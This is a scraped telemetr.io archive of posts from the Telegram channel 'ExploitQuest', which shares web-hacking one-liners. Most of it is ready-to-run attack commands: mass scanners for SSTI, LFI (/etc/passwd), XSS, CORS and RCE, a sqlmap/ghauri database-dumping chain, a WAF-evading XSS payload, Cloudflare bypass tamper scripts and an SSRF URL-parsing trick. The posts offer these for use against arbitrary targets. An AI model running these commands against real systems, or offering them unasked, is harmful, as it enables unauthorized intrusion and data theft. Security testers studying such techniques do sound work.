uk
Feedback
ExploitQuest

ExploitQuest

Відкрити в Telegram

contact: @ExploitQuestbot

Показати більше
Країна не вказанаТехнології та додатки14 073
6 808
Підписники
Немає даних24 години
+97 днів
+12430 днів
Архів дописів
\n\nThe above behavior is often observed in PHP web applications using pspell_suggest().\n\n#web #xss #waf","datePublished":"2025-01-01T08:50:55Z","dateModified":"2025-01-01T08:50:55Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/uk/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/uk/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":885},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":9},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":14}]}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/122","url":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/122","mainEntityOfPage":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/122","headline":"🔗 Automate the search for Server-side Template Injection (SSTI) First, save these payloads to a file payloads…","articleBody":"🔗 Automate the search for Server-side Template Injection (SSTI)\n\n First, save these payloads to a file payloads.txt (you can add your own):\n\ncheck-ssti{{7*7}}[[1*1]]\ncheck-ssti{{7*7}}\ncheck-ssti{{7*'7'}}\ncheck-ssti<%= 7 * 7 %>\ncheck-ssti${7*7}\ncheck-ssti${{7*7}}\ncheck-ssti@(7*7)\ncheck-ssti#{7*7}\ncheck-ssti#{ 7 * 7 }\n\n\nThen, using waybackurls we get the endpoints of our site and select the most suitable ones for SSTI using gf:\n\necho target.com | waybackurls | gf ssti | anew -q ssti.txt\nCreate a list of endpoints with the payload as a parameter:\n\ncat payloads.txt | while read -r line; do cat ssti.txt | qsreplace \"$line\" | anew -q sstipatterns.txt; done\nWe run the command to check the server's response for the presence of SSTI:\n\ncat sstipatterns.txt | xargs -P 50 -I@ bash -c \"curl -s -L @ | grep \\\"check-ssti49\\\" && echo -e \\\"[VULNERABLE] - @ \\n \\\"\" | grep \"VULNERABLE\"\n#web #ssti","datePublished":"2025-01-01T08:44:46Z","dateModified":"2025-01-01T08:44:46Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/uk/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/uk/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":882},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":13},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":26}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/121","url":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/121","mainEntityOfPage":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/121","headline":"📎 Finding web servers vulnerable to CORS attacks The following one-liner can determine if any subdomain of th…","articleBody":"📎 Finding web servers vulnerable to CORS attacks\n \n The following one-liner can determine if any subdomain of the target domain is vulnerable to cross-origin resource sharing (CORS) attacks:\n\nassetfinder fitbit.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H \"Origin: evil.com\" {} | [[ $(grep -c \"evil.com\") -gt 0 ]] && printf \"\\n\\033[0;32m[VUL TO CORS] \\033[0m{}\"' 2>/dev/null\nFor this combination to work, please install the following tools:\n\n https://github.com/tomnomnom/assetfinder\n\n https://github.com/projectdiscovery/httpx\n\nhttps://github.com/shenwei356/rush\n\nHere's what the team does in detail:\n\n Collect subdomains of a target domain (e.g. fitbit.com ). Identifies real (live) subdomains and creates a list of URLs. Checks access to each URL and includes the Origin: evil.com HTTP header in each request. Looks for \" evil.com \" in response headers. If found, outputs the information to the terminal.\n\nIf we see something like the screenshot below, it means that the sites in question have misconfigured their CORS policy and could potentially expose sensitive information to any arbitrary third-party website. This information includes cookies, API keys, CSRF tokens, and other sensitive data.\n\nFor more information about CORS attacks, check out PortSwigger's CORS security guide : \n\nhttps://portswigger.net/web-security/cors\n\n#web #cors","datePublished":"2024-12-31T12:36:30Z","dateModified":"2024-12-31T12:36:30Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/uk/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/uk/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":945},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":17},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":30}]}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/120","url":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/120","mainEntityOfPage":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/120","headline":"ExploitQuest","datePublished":"2024-12-31T12:36:00Z","dateModified":"2024-12-31T12:36:00Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/uk/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/uk/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":848},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":9},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":10}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/119","url":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/119","mainEntityOfPage":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/119","headline":"ExploitQuest","datePublished":"2024-12-30T17:09:08Z","dateModified":"2024-12-30T17:09:08Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/uk/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/uk/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":946},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":8}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/118","url":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/118","mainEntityOfPage":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/118","headline":"ExploitQuest","datePublished":"2024-12-30T17:06:20Z","dateModified":"2024-12-30T17:06:43Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/uk/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/uk/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/117","url":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/117","mainEntityOfPage":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/117","headline":"SQL injection bypassing Cloudflare When testing a site, you can bypass Cloudflare's SQL injection protection…","articleBody":"SQL injection bypassing Cloudflare\n\nWhen testing a site, you can bypass Cloudflare's SQL injection protection using sqlmap and a combination of \n\nspace2comment,between,randomcase\n \n\ntamper scripts.\n\n#web #sqli","datePublished":"2024-12-30T13:49:12Z","dateModified":"2024-12-30T13:49:12Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/uk/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/uk/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":964},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":12},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":12}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/116","url":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/116","mainEntityOfPage":"https://telemetr.io/uk/channels/1941018014-exploitquest/posts/116","headline":"🔗 Find hidden parameters for IDOR search When you encounter the following endpoints, try to look for hidden p…","articleBody":"🔗 Find hidden parameters for IDOR search\n\nWhen you encounter the following endpoints, try to look for hidden parameters as there is a high probability of encountering IDOR (Insecure Direct Object Reference):\n\n/settings/profile\n/user/profile\n/user/settings\n/account/settings\n/username\n/profile\n\nTo find hidden parameters you can use Arjun or fuzzparam .\n\nhttps://github.com/0xsapra/fuzzparam\n\nhttps://github.com/s0md3v/Arjun\nBurpsuite has a param-miner extension for this purpose.\nhttps://github.com/PortSwigger/param-miner\n\n#web #IDOR@ExploitQuest","datePublished":"2024-12-30T08:29:56Z","dateModified":"2024-12-30T08:29:56Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/uk/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/uk/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":930},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":20}]}}]}
.

SQL maps generator Link site #sql
SQL maps generator Link site #sql

XSS from javascript hidden params
assetfinder  target.com | gau | egrep -v '(.css|.svg)' | while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Z0-9]+" | sed -e 's,'var','"$url"?',g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=xss/g'); echo -e "\e[1;33m$url\n\e[1;32m$vars"
#xss

Finding Hidden Parameter & Potential XSS with Arjun + KXSS
arjun -q -u target -oT arjun && cat arjun | awk -F'[?&]' '{baseUrl=$1; for(i=2; i<=NF; i++) {split($i, param, "="); print baseUrl "?" param[1] "="}}' | kxss
#xss

One liner to find sql Injection
cat subs.txt | (gau || hakrawler || katana || waybckurls) | grep "=" | dedupe | anew tmp-sqli.txt && sqlmap -m tmp-sqli.txt --batch --random-agent --level 5 --risk 3 --dbs &&
for i in $(cat tmp-sqli.txt); do ghauri -u "$i" --level 3 --dbs --current-db --batch --confirm; done
#sql

One liner to find RCE
cat targets.txt | httpx -path "/cgi-bin/admin.cgi?Command=sysCommand&Cmd=id" -nc -ports 80,443,8080,8443 -mr "uid=" -silent

Search for Sensitive files from Wayback
waybackurls domain.com| grep - -color -E "1.xls | \\. xml | \\.xlsx | \\.json | \\. pdf | \\.sql | \\. doc| \\.docx | \\. pptx| \\.txt| \\.zip| \\.tar.gz| \\.tgz| \\.bak| \\.7z| \\.rar"

A writeup that you can read more about https://fireshellsecurity.team/sunshinectf-search-box/

There is a topic called Inconsistency. Which happens between the checker functions and the libraries sending the http request. And that's how both the checker functions and the libraries are safe. But when they work together, they become vulnerable. For example, in this URL:
https://admin@site.com username: admin Host: site.com
But you are this one:
https://site.com@admin.ir@moha .tld What is Host?
It doesn't matter at all what it is now. It's important to say that, for example, parse_url in PHP and curl are the same thing, but this is not the case. For example, you:
curl -v http://user@127.0.0.1:80@www.google.com/x.php Host = 127.0.0.1
But parse_url calls this same URL google.com ! And this way, when we use curl, we can access the x.php file, which is on an internal server and does not have a public IP address.

I want to see the interaction on the posts to know if you are interested or not ☺️.

📂 Quick website check for simple LFI We find the list of words to output /etc/passwd and place it in the payloads.txt file.
📂 Quick website check for simple LFI We find the list of words to output /etc/passwd and place it in the payloads.txt file. Then, using waybackurls we get the endpoints of our site and select the most suitable ones for LFI using gf :
echo target.com | waybackurls | gf lfi | anew -q lfi.txt
Create a list of endpoints with the payload as a parameter using qsreplace :
cat payloads.txt | while read -r line; do cat lfi.txt | qsreplace "$line" | anew -q lfipatterns.txt; done
We run the command to check the server's response for LFI:
cat lfipatterns.txt | xargs -P 50 -I@ bash -c "curl -s -L @ | grep \"root:\" && echo -e \"[VULNERABLE] - @ \n \"" | grep "VULNERABLE"
#web #lfi

📑 XSS in applications with automatic error correction If you see that a web application is trying to guess or fix your searc
📑 XSS in applications with automatic error correction If you see that a web application is trying to guess or fix your search query (e.g. in the search bar) and has a WAF on top of it, use misspelled words to perform XSS and bypass the WAF:
<scrpt>confrm()</scrpt>
Will be corrected to:
<script>confirm()</script>
The above behavior is often observed in PHP web applications using pspell_suggest(). #web #xss #waf

🔗 Automate the search for Server-side Template Injection (SSTI) First, save these payloads to a file payloads.txt (you can a
🔗 Automate the search for Server-side Template Injection (SSTI) First, save these payloads to a file payloads.txt (you can add your own):
check-ssti{{7*7}}[[1*1]] check-ssti{{7*7}} check-ssti{{7*'7'}} check-ssti<%= 7 * 7 %> check-ssti${7*7} check-ssti${{7*7}} check-ssti@(7*7) check-ssti#{7*7} check-ssti#{ 7 * 7 }
Then, using waybackurls we get the endpoints of our site and select the most suitable ones for SSTI using gf:
echo target.com | waybackurls | gf ssti | anew -q ssti.txt
Create a list of endpoints with the payload as a parameter:
cat payloads.txt | while read -r line; do cat ssti.txt | qsreplace "$line" | anew -q sstipatterns.txt; done
We run the command to check the server's response for the presence of SSTI:
cat sstipatterns.txt | xargs -P 50 -I@ bash -c "curl -s -L @ | grep \"check-ssti49\" && echo -e \"[VULNERABLE] - @ \n \"" | grep "VULNERABLE"
#web #ssti

📎 Finding web servers vulnerable to CORS attacks The following one-liner can determine if any subdomain of the target domain is vulnerable to cross-origin resource sharing (CORS) attacks:
assetfinder fitbit.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H "Origin: evil.com" {} | [[ $(grep -c "evil.com") -gt 0 ]] && printf "\n\033[0;32m[VUL TO CORS] \033[0m{}"' 2>/dev/null
For this combination to work, please install the following tools: https://github.com/tomnomnom/assetfinder https://github.com/projectdiscovery/httpx https://github.com/shenwei356/rush Here's what the team does in detail: Collect subdomains of a target domain (e.g. fitbit.com ). Identifies real (live) subdomains and creates a list of URLs. Checks access to each URL and includes the Origin: evil.com HTTP header in each request. Looks for " evil.com " in response headers. If found, outputs the information to the terminal. If we see something like the screenshot below, it means that the sites in question have misconfigured their CORS policy and could potentially expose sensitive information to any arbitrary third-party website. This information includes cookies, API keys, CSRF tokens, and other sensitive data. For more information about CORS attacks, check out PortSwigger's CORS security guide : https://portswigger.net/web-security/cors #web #cors

photo content

sticker.webp0.24 KB

sticker.webp0.25 KB

SQL injection bypassing Cloudflare When testing a site, you can bypass Cloudflare's SQL injection protection using sqlmap and
SQL injection bypassing Cloudflare When testing a site, you can bypass Cloudflare's SQL injection protection using sqlmap and a combination of
space2comment,between,randomcase
tamper scripts. #web #sqli

🔗 Find hidden parameters for IDOR search When you encounter the following endpoints, try to look for hidden parameters as th
🔗 Find hidden parameters for IDOR search When you encounter the following endpoints, try to look for hidden parameters as there is a high probability of encountering IDOR (Insecure Direct Object Reference):
/settings/profile /user/profile /user/settings /account/settings /username /profile
To find hidden parameters you can use Arjun or fuzzparam . https://github.com/0xsapra/fuzzparam https://github.com/s0md3v/Arjun Burpsuite has a param-miner extension for this purpose. https://github.com/PortSwigger/param-miner #web #IDOR@ExploitQuest